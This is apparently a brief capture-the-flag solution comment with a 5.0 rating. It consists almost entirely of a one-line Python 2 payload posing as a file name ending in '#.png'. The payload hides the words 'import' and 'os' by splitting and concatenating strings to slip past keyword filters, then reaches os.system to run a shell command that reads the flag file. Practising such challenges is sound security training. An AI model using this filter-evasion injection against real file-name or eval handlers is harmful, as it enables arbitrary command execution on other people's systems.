Rating: 5.0

Too many writeups already. Here's the one liner file name payload

```python
print vars(vars()[dir()[0]])['__impo'.__add__('rt__')]('o'.__add__('s')).system('cat flag')#.png
```